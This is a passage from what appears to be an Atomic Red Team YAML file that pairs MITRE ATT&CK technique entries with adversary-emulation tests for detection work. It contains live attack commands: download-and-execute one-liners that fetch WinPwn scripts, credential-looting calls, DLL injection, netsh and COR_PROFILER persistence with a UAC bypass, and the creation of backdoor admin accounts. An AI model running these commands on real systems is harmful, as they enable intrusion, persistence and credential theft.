'2020-01-14T01:26:08.145Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/001 external_id: T1055.001 - source_name: Hiding Malicious Code with Module Stomping description: 'Aliz Hammond. (2019, August 15). Hiding Malicious Code with "Module Stomping": Part 1. Retrieved July 14, 2022.' url: https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/ - source_name: Elastic HuntingNMemory June 2017 description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/hunting-memory - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Module Stomping for Shellcode Injection description: Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022. url: https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1055.001 atomic_tests: - name: Process Injection via mavinject.exe auto_generated_guid: 74496461-11a1-4982-b439-4d87a550d254 description: | Windows 10 Utility To Inject DLLS. Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll. With default arguments, expect to see a MessageBox, with notepad's icon in taskbar. supported_platforms: - windows input_arguments: process_id: description: PID of input_arguments type: string default: "(Start-Process notepad -PassThru).id" dll_payload: description: DLL to Inject type: path default: PathToAtomicsFolder\T1055.001\src\x64\T1055.001.dll dependency_executor_name: powershell dependencies: - description: 'Utility to inject must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}" executor: command: | $mypid = #{process_id} mavinject $mypid /INJECTRUNNING "#{dll_payload}" Stop-Process -processname notepad name: powershell elevation_required: true - name: WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique auto_generated_guid: 8b56f787-73d9-4f1d-87e8-d07e89cbc7f5 description: Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1') name: powershell T1546.007: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Matthew Demaske, Adaptforward object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed created: '2020-01-24T14:26:51.207Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1546.007 url: https://attack.mitre.org/techniques/T1546/007 - source_name: Demaske Netsh Persistence url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. - source_name: TechNet Netsh url: https://technet.microsoft.com/library/bb490939.aspx description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. - source_name: Github Netsh Helper CS Beacon url: https://github.com/outflankbv/NetshHelperBeacon description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. x_mitre_deprecated: false revoked: false description: |- Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Event Triggered Execution: Netsh Helper DLL' x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - SYSTEM x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.007 atomic_tests: - name: Netsh Helper DLL Registration auto_generated_guid: 3244697d-5a3a-4dfc-941c-550f69f91a4d description: | You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called. The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run. [Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html) [Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon) supported_platforms: - windows input_arguments: helper_file: description: Path to DLL type: path default: PathToAtomicsFolder\T1546.007\bin\NetshHelper.dll dependency_executor_name: powershell dependencies: - description: 'Helper DLL must exist on disk at specified location (#{helper_file}) ' prereq_command: 'if (Test-Path "#{helper_file}") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{helper_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}" executor: command: | netsh.exe add helper "#{helper_file}" taskkill /im notepad.exe /t /f > NUL 2>&1 cleanup_command: 'netsh.exe delete helper "#{helper_file}" ' name: command_prompt elevation_required: true T1574.004: technique: modified: '2023-10-31T14:00:00.188Z' name: Dylib Hijacking description: |- Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - macOS x_mitre_version: '2.0' x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'File: File Modification' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490 created: '2020-03-16T15:23:30.896Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/004 external_id: T1574.004 - source_name: MalwareUnicorn macOS Dylib Injection MachO description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021. url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5 - source_name: Apple Developer Doco Archive Run-Path description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html - source_name: Wardle Dylib Hijacking OSX 2015 description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf - source_name: Writing Bad Malware for OSX description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf - source_name: Wardle Dylib Hijack Vulnerable Apps description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. url: https://objective-see.com/blog/blog_0x46.html - source_name: wardle artofmalware volume1 description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.' url: https://taomm.org/vol1/pdfs.html - source_name: Github EmpireProject HijackScanner description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py - source_name: Github EmpireProject CreateHijacker Dylib description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1078.003: technique: modified: '2023-07-14T13:04:04.591Z' name: 'Valid Accounts: Local Accounts' description: "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Containers - Network x_mitre_version: '1.4' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2 created: '2020-03-13T20:26:46.695Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/003 external_id: T1078.003 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.003 atomic_tests: - name: Create local account with admin privileges auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15 description: After execution the new account will be active and added to the Administrators group supported_platforms: - windows input_arguments: password: description: Password for art-test user type: string default: "-4RTisCool!-321" executor: command: |- net user art-test /add net user art-test #{password} net localgroup administrators art-test /add cleanup_command: |- net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1 name: command_prompt elevation_required: true - name: Create local account with admin privileges - MacOS auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: |- dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName "Atomic User" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser cleanup_command: sudo dscl . -delete /Users/AtomicUser name: bash elevation_required: true - name: Create local account with admin privileges using sysadminctl utility - MacOS auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505 description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin cleanup_command: sysadminctl interactive -deleteUser art-tester name: bash elevation_required: true - name: Enable root account using dsenableroot utility - MacOS auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac description: After execution the current/new user will have root access supported_platforms: - macos executor: command: |- dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user cleanup_command: |- dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user name: bash elevation_required: true - name: Add a new/existing user to the admin group using dseditgroup utility - macOS auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875 description: After execution the current/new user will be added to the Admin group supported_platforms: - macos executor: command: dseditgroup -o edit -a art-user -t user admin cleanup_command: dseditgroup -o edit -d art-user -t user admin name: bash elevation_required: true - name: WinPwn - Loot local Credentials - powerhell kittie auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912 description: Loot local Credentials - powerhell kittie technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: WinPwn - Loot local Credentials - Safetykatz auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4 description: Loot local Credentials - Safetykatz technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: Create local account (Linux) auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357 description: 'An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user. ' supported_platforms: - linux executor: name: bash elevation_required: true command: | password=$(openssl passwd -1 art) ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c "whoami; exit" cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser -y art ' - name: Reactivate a locked/expired account (Linux) auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931 description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: bash elevation_required: true command: | useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate "1" art usermod --unlock art usermod --expiredate "99999" art su art whoami exit cleanup_command: "userdel -r art \n" - name: Reactivate a locked/expired account (FreeBSD) auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf' description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: sh elevation_required: true command: | pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit cleanup_command: "rmuser -y art \n" - name: Login as nobody (Linux) auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: bash elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n" cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n" - name: Login as nobody (freebsd) auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: sh elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n" cleanup_command: | pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin - name: Use PsExec to elevate to NT Authority\SYSTEM account auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733 description: "PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.\n\nThe local system account is a default windows account which has unrestricted access to all system resources.\n\nUpon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: name: command_prompt elevation_required: true command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami ' T1574.012: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jesse Brown, Red Canary object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335 type: attack-pattern created: '2020-06-24T22:30:55.843Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.012 url: https://attack.mitre.org/techniques/T1574/012 - source_name: Microsoft Profiling Mar 2017 url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020. - source_name: Microsoft COR_PROFILER Feb 2013 url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100) description: Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020. - source_name: RedCanary Mockingbird May 2020 url: https://redcanary.com/blog/blue-mockingbird-cryptominer/ description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020. - source_name: Red Canary COR_PROFILER May 2020 url: https://redcanary.com/blog/cor_profiler-for-persistence/ description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020. - source_name: Almond COR_PROFILER Apr 2019 url: https://offsec.almond.consulting/UAC-bypass-dotnet.html description: Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020. - source_name: GitHub OmerYa Invisi-Shell url: https://github.com/OmerYa/Invisi-Shell description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020. - source_name: subTee .NET Profilers May 2017 url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020. modified: '2022-04-25T14:00:00.188Z' name: 'Hijack Execution Flow: COR_PROFILER' description: |- Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1574.012 atomic_tests: - name: User scope COR_PROFILER auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a description: | Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER). The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unmanaged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null Write-Host "executing eventvwr.msc" -ForegroundColor Cyan START MMC.EXE EVENTVWR.MSC cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n" name: powershell - name: System Scope COR_PROFILER auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310 description: | Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect. The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unmanaged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | Write-Host "Creating system environment variables" -ForegroundColor Cyan New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session 